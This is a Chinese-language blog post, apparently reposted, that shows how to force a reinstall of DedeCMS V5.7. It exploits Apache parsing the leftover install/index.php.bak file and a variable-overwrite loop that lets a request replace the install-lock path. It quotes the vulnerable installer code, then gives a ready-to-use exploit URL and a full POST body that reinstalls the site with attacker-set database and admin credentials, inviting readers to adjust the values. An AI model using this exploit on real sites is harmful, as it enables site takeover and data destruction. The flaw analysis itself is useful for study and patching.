利用条件是webserver要求是存在apache解析漏洞和install文件夹存在。
利用截图:
Dedecms在安装后会把安装文件/install/index.php备份成/install/index.php.bak,这个在apache下面是会解析成PHP执行的。
看看/install/index.php.bak代码:
- $verMsg = ' V5.7 GBKSP1';
- $s_lang = 'gb2312';
- $dfDbname = 'dedecmsv57gbksp1';
- $errmsg = '';
- $install_demo_name = 'dedev57demo.txt';
- $insLockfile = dirname(__FILE__).'/install_lock.txt';
- $moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';
- define('DEDEINC',dirname(__FILE__).'/../include');
- define('DEDEDATA',dirname(__FILE__).'/../data');
- define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__)));
- header("Content-Type: text/html; charset={$s_lang}");
- require_once(DEDEROOT.'/install/install.inc.php');
- require_once(DEDEINC.'/zip.class.php');
- foreach(Array('_GET','_POST','_COOKIE') as $_request)
- {
- foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
- }
- require_once(DEDEINC.'/common.func.php');
- if(file_exists($insLockfile))
- {
- exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
- }
- if(empty($step))
- {
- $step = 1;
- }
复制代码 其中$insLockfile = dirname(__FILE__).’/install_lock.txt’;是安装锁文件。在下面的
- if(file_exists($insLockfile))
- {
- exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
- }
复制代码 这个代码的意思是:如果$insLockfile这个文件存在,那么就提示已经安装了,如果$insLockfile不存在,那么就可以继续安装,那么我们要控制$insLockfile才能重新安装,
关键的问题在这两段代码中间还有一段dedecms一直很二逼的变量覆盖的代码。
- foreach(Array('_GET','_POST','_COOKIE') as $_request)
- {
- foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
- }
复制代码 这个是注册变量,如果存在变量就直接覆盖了。
所以我们直接在请求里加上insLockfile=seay就可以把$insLockfile变为seay,当然文件不存在的啦。就重装了。
利用演示:
直接POST数据到这个URL- http://www.localhost.com/install/index.php.bak?insLockfile=1&step=4
复制代码 就OK了
POST数据:
- step=4&dbhost=localhost&dbuser=root&dbpwd=123456&dbprefix=dede_&dbname=dedecms1&dblang=gbk&adminuser=admin&adminpwd=admin&cookieencode=JzIVw7439H&webname=%CE%D2%B5%C4%CD%F8%D5%BE&adminmail=admin%40dedecms.com&baseurl=http%3A%2F%2Flocalhost&cmspath=%2Fdedecms
复制代码 其中的dbhost啥的东西自己改改吧,
提交数据包。效果如下
原文:http://www.cnseay.com/2956/ |